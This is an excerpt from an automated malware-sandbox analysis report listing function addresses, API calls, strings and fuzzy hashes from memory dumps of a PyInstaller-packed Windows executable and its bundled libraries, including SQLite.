Opcode ID: da7d5aaa001a85c1e13054e7b60926c5ebf14781b4d980b1a631c30dc526fcea
Instruction ID: 7f94e6ac5b7ab66b2a3ce871abefc7877a844b20b64057a85ab9769fb4a8b301
Opcode Fuzzy Hash: da7d5aaa001a85c1e13054e7b60926c5ebf14781b4d980b1a631c30dc526fcea
Instruction Fuzzy Hash: 30219C32E1470699FBA49F65C4802ED33A0FB4472CF044635E72D86AC6EFB8D985D790

Function 00007FF6929F6EF4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F6E59

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0e1df9a836e05c53306103cf914f9f5afd0b17d2d4247778ac0f8a736a470cc7
Instruction ID: 6c475d8ba883c106522fd69da5cfe8fe730faf14c3b8931a054abf5d58c85755
Opcode Fuzzy Hash: 0e1df9a836e05c53306103cf914f9f5afd0b17d2d4247778ac0f8a736a470cc7
Instruction Fuzzy Hash: F7112C22A1864182FAB09F52D8101FFA760EF85B88F544075FA9D97A97DFBDDC20A740

Function 00007FF692A07564 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A07587

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3767eff042e46cd651120d9163f396646e5b690a05a83219cc7a0fcdceb2a680
Instruction ID: a5ac62d7ee281500e464c4f2d49375eb19ed777d0a03aa5fda01737a40ed16b4
Opcode Fuzzy Hash: 3767eff042e46cd651120d9163f396646e5b690a05a83219cc7a0fcdceb2a680
Instruction Fuzzy Hash: 6B216573A08A8287EB718F19E8503B976A0EB85B58F144274E65E876D9DF7CD801CB00

Function 00007FF6929EF8B4 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF908

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 43297e0cb54a728217cf8f13d9f8c23c45e2da10c33361e46a2ef0799771412d
Instruction ID: 8e393fffb6a810f60b124cd3d86e8926f6638dcce18fa97985d44da79904b95b
Opcode Fuzzy Hash: 43297e0cb54a728217cf8f13d9f8c23c45e2da10c33361e46a2ef0799771412d
Instruction Fuzzy Hash: BD018662A0874541FA649B5399000B99794FF56FE8F484672EE6C97BD7CEBCD4018700

Function 00007FF6929EC37C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6929EC390

Part of subcall function 00007FF6929ECDB8: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF6929ECDC0
Part of subcall function 00007FF6929ECDB8: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF6929ECDC5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 86517d9d3c6548b93fa1a500576de9512fe9d6a130677b1fbe86fe464c74cea3
Instruction ID: a36bea67f190fb4b9c3696a9246c196ae1f37335feaf4df7b5e10091e9b3c84b
Opcode Fuzzy Hash: 86517d9d3c6548b93fa1a500576de9512fe9d6a130677b1fbe86fe464c74cea3
Instruction Fuzzy Hash: 1AE0BD74D0D20381FFB8266329522FD1784BF2930DF4025F9E88ED21C79ECE389A2529

Function 00007FF6929E82D0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

LoadLibraryExW.KERNEL32(?,00007FF6929E58C6,00000000,00007FF6929E272E), ref: 00007FF6929E82F2

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: d9412939f3a59c9d3020f1b79bcb42c7fd2a7553f003f878c70997fb251ba9c2
Instruction ID: 9f87399f3bee69563d5e1e4b09bd0b4e8c4fc9e6d4948f2b7bab41c9abf503ff
Opcode Fuzzy Hash: d9412939f3a59c9d3020f1b79bcb42c7fd2a7553f003f878c70997fb251ba9c2
Instruction Fuzzy Hash: A9D0C212F2464541FBA4A76BBA4657A5652EF89BC4F88C034EE5D87B57EC3CC0914B00

Function 00007FF8A89A34E0 Relevance: 1.3, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89A3537

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 7e860f85a89233edbab4c9060a8beecf04cdaa8964dc283061fd38127daf2cd2
Instruction ID: 832b9a72d3f1f5c886385a40762d16d91ad4a80eff78bdf1b3c5f96aa4c1fab2
Opcode Fuzzy Hash: 7e860f85a89233edbab4c9060a8beecf04cdaa8964dc283061fd38127daf2cd2
Instruction Fuzzy Hash: DD315121A0BA0296EF589F5AE445238B3A4EF84FC5F0C5435D90E47754EF7DE842D728

Function 00007FF8A89A3A95 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89A3AE3

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: ed23cdeb97491b1f4953824919715f5cd77bea0526f516fe870ad1d698fefd92
Instruction ID: a8362351c676c382be4a474e7964f58607df00ed0d0a8325ce2915392ee7249b
Opcode Fuzzy Hash: ed23cdeb97491b1f4953824919715f5cd77bea0526f516fe870ad1d698fefd92
Instruction Fuzzy Hash: 9531D332A0A741ABD714CF25E60526977A5FB44BC8F084135DB0857B48DF7CF5A1C798

Function 00007FF6929FE664 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6929F0208,?,?,?,00007FF6929F1872,?,?,?,?,?,00007FF6929F4535), ref: 00007FF6929FE6A2

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 3c31cf8336a648e9ecfad8ff9b709a6d49b8502715341f1fffc2c41753e32efa
Instruction ID: b16711904ec3da46145d0c7bbc50dad81b4aa9906670fc14f4e54e9f30fdd795
Opcode Fuzzy Hash: 3c31cf8336a648e9ecfad8ff9b709a6d49b8502715341f1fffc2c41753e32efa
Instruction Fuzzy Hash: 41F0FE52E1920A45FAB46B6369012BA1390DF89BB8F4946B0ED6EC52C3DE9CA850A611

Non-executed Functions

Function 00007FF6929E7E30 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

SetConsoleCtrlHandler.KERNEL32(FFFFFFFF,00000000,?,00007FF6929E33AC), ref: 00007FF6929E7E8B
GetStartupInfoW.KERNEL32 ref: 00007FF6929E7EA6

Part of subcall function 00007FF6929FB324: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FB338

Part of subcall function 00007FF6929F95F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F965F

GetCommandLineW.KERNEL32 ref: 00007FF6929E7F36
CreateProcessW.KERNEL32 ref: 00007FF6929E7F6E
GetLastError.KERNEL32 ref: 00007FF6929E7F78

Part of subcall function 00007FF6929E2310: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
Part of subcall function 00007FF6929E2310: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

RegisterClassW.USER32 ref: 00007FF6929E7FD0
GetLastError.KERNEL32 ref: 00007FF6929E7FDB
CreateWindowExW.USER32 ref: 00007FF6929E8025
GetLastError.KERNEL32 ref: 00007FF6929E8037
WaitForSingleObject.KERNEL32 ref: 00007FF6929E8052
GetLastError.KERNEL32 ref: 00007FF6929E8065
PeekMessageW.USER32 ref: 00007FF6929E8089
TranslateMessage.USER32 ref: 00007FF6929E8097
DispatchMessageW.USER32 ref: 00007FF6929E80A1
PeekMessageW.USER32 ref: 00007FF6929E80BC
WaitForSingleObject.KERNEL32 ref: 00007FF6929E80CE
WaitForSingleObject.KERNEL32 ref: 00007FF6929E80E9
TerminateProcess.KERNEL32 ref: 00007FF6929E80FF
GetLastError.KERNEL32 ref: 00007FF6929E8109
WaitForSingleObject.KERNEL32 ref: 00007FF6929E8117
DestroyWindow.USER32 ref: 00007FF6929E8254
GetExitCodeProcess.KERNEL32 ref: 00007FF6929E8269
CloseHandle.KERNEL32 ref: 00007FF6929E8272
CloseHandle.KERNEL32 ref: 00007FF6929E827F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF6929E7FA4
CreateProcessW, xrefs: 00007FF6929E7F87
PyInstaller Onefile Hidden Window, xrefs: 00007FF6929E7FE5
Failed to create child process!, xrefs: 00007FF6929E7F80

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorLastMessage$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 4208240515-3165540532
Opcode ID: 6cf3c8642f53b43b1e9fef10f104943b82e9411ccff8eb65c880d58da3f350d3
Instruction ID: e742ca61998a18f4d73e0b33b80e8999df7fc3051d95f44ecd84d74a4ff2bd9c
Opcode Fuzzy Hash: 6cf3c8642f53b43b1e9fef10f104943b82e9411ccff8eb65c880d58da3f350d3
Instruction Fuzzy Hash: C9D17D33A48F8286FB209F75E8542BA3760FB89B5CF400275DA5E92AA5DFBCD544C740

Function 00007FF8A89CE150 Relevance: 18.4, APIs: 3, Strings: 9, Instructions: 383COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89CE26F
memmove.VCRUNTIME140 ref: 00007FF8A89CE2DE
memmove.VCRUNTIME140 ref: 00007FF8A89CE37B

Part of subcall function 00007FF8A899BC40: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A899BC91

Strings

NULL, xrefs: 00007FF8A89CE40F
%lld, xrefs: 00007FF8A89CE446
zeroblob(%d), xrefs: 00007FF8A89CE54E
-- , xrefs: 00007FF8A89CE204
d, xrefs: 00007FF8A89CE1A4
?, xrefs: 00007FF8A89CE38F
%!.15g, xrefs: 00007FF8A89CE464
'%.*q', xrefs: 00007FF8A89CE500
%02x, xrefs: 00007FF8A89CE5B4

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$strncmp
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$d$zeroblob(%d)
API String ID: 303274685-2001737079
Opcode ID: 70e3d59a1a54838772178f1ce499ee3e4eebf9fe986497cfd7685f5e45aa6039
Instruction ID: 4d6c782949427790cdd6ea0b476db9ebdcd7e1f1932589b5d7ce7063c758f84a
Opcode Fuzzy Hash: 70e3d59a1a54838772178f1ce499ee3e4eebf9fe986497cfd7685f5e45aa6039
Instruction Fuzzy Hash: 6402E6B2A1E682A9EB609B14E44837D77A0FB447C5F180031EB8F47695DF3EE441CB29

Function 00007FF8B7DF1960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B7DF197C
memset.VCRUNTIME140 ref: 00007FF8B7DF19A0
RtlCaptureContext.KERNEL32 ref: 00007FF8B7DF19A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B7DF19C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7DF1A04
memset.VCRUNTIME140 ref: 00007FF8B7DF1A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7DF1A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7DF1A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7DF1A84

Memory Dump Source

Source File: 00000003.00000002.2147938757.00007FF8B7DF1000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8B7DF0000, based on PE: true

Associated: 00000003.00000002.2147904992.00007FF8B7DF0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147967359.00007FF8B7DF3000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147988549.00007FF8B7DF5000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7df0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: 36419c704486263a66242168ca70593375969964a79fc1c202490133256d9818
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: ED315072609B8189EB609F64E8507ED7360FB84784F48413ADB4D5BBA8DF39D648C714

Function 00007FF8B7E21960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B7E2197C
memset.VCRUNTIME140 ref: 00007FF8B7E219A0
RtlCaptureContext.KERNEL32 ref: 00007FF8B7E219A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B7E219C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7E21A04
memset.VCRUNTIME140 ref: 00007FF8B7E21A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7E21A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E21A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E21A84

Memory Dump Source

Source File: 00000003.00000002.2148312417.00007FF8B7E21000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FF8B7E20000, based on PE: true

Associated: 00000003.00000002.2148282396.00007FF8B7E20000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148331271.00007FF8B7E23000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148347484.00007FF8B7E25000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7e20000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: b6f591f586cdb04e720627e6f7796cabc33715bc54827c08087bb515fbf309b0
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: 7E314372609B8189EB609F68E8507ED7361FB84B88F44443ADB4E47BA5DF3CD648CB14

Function 00007FF8B7831960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B783197C
memset.VCRUNTIME140 ref: 00007FF8B78319A0
RtlCaptureContext.KERNEL32 ref: 00007FF8B78319A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B78319C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7831A04
memset.VCRUNTIME140 ref: 00007FF8B7831A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7831A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7831A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7831A84

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: 8d9f5176b53ab9cd21ec6929f2cacb1eac6673c4697d937dc00096351ce137ba
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: 65316D72B48B8189EB608F69E8503ED7760FB88784F45443AEB4D47AA4DF3CD648C704

Function 00007FF8B7DE1960 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B7DE197C
memset.VCRUNTIME140 ref: 00007FF8B7DE19A0
RtlCaptureContext.KERNEL32 ref: 00007FF8B7DE19A9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B7DE19C3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7DE1A04
memset.VCRUNTIME140 ref: 00007FF8B7DE1A37
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7DE1A58
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7DE1A79
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7DE1A84

Memory Dump Source

Source File: 00000003.00000002.2147675299.00007FF8B7DE1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8B7DE0000, based on PE: true

Associated: 00000003.00000002.2147595433.00007FF8B7DE0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147802650.00007FF8B7DE3000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147833244.00007FF8B7DE4000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147876592.00007FF8B7DE5000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7de0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction ID: 8eefd2da5bea1305fb6987d9fadd54518e7df28fe651e3c206ca28934b2a5c91
Opcode Fuzzy Hash: 15ab57132a56a43adcf6d314196c4535093efc661be566aed9b6740bd42d3de9
Instruction Fuzzy Hash: D3316C72708B818AEB618F68E8403FD7360FB84784F48453ADB5E57AA8DF38D648C710

Function 00007FF8A89BED40 Relevance: 12.5, APIs: 1, Strings: 7, Instructions: 470COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89BEE46

Strings

Page %d is never used, xrefs: 00007FF8A89BF0E9
incremental_vacuum enabled with a max rootpage of zero, xrefs: 00007FF8A89BEF3D
Pointer map page %d is referenced, xrefs: 00007FF8A89BF153
Main freelist: , xrefs: 00007FF8A89BEE95
Failed to read ptrmap key=%d, xrefs: 00007FF8A89BEFD5
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d), xrefs: 00007FF8A89BEFFC
max rootpage (%d) disagrees with header (%d), xrefs: 00007FF8A89BEF19

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)$Failed to read ptrmap key=%d$Main freelist: $Page %d is never used$Pointer map page %d is referenced$incremental_vacuum enabled with a max rootpage of zero$max rootpage (%d) disagrees with header (%d)
API String ID: 2221118986-2103957143
Opcode ID: 92cb10efb0c574238ff56e9aa165e25c483cd2c6eb2957517a3586a4947c9294
Instruction ID: ff9d2033f4870e4ae182da8ad17fad05eceeee5b757fce7ccf0a00917aa44e3d
Opcode Fuzzy Hash: 92cb10efb0c574238ff56e9aa165e25c483cd2c6eb2957517a3586a4947c9294
Instruction Fuzzy Hash: FD228D32A0AB52AAFB548B65E44C3BD37A0FB44BC5F180135DA4E87A94DF7CE445C728

Function 00007FF8A8AB0070 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 421COMMON

Download Yara Rule

Strings

SELECT rowid, rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s, xrefs: 00007FF8A8AB0769
bm25, xrefs: 00007FF8A8AB068F
recursively defined fts5 content table, xrefs: 00007FF8A8AB00DF
parse error in rank function: %s, xrefs: 00007FF8A8AB065A
ASC, xrefs: 00007FF8A8AB0728
DESC, xrefs: 00007FF8A8AB070C
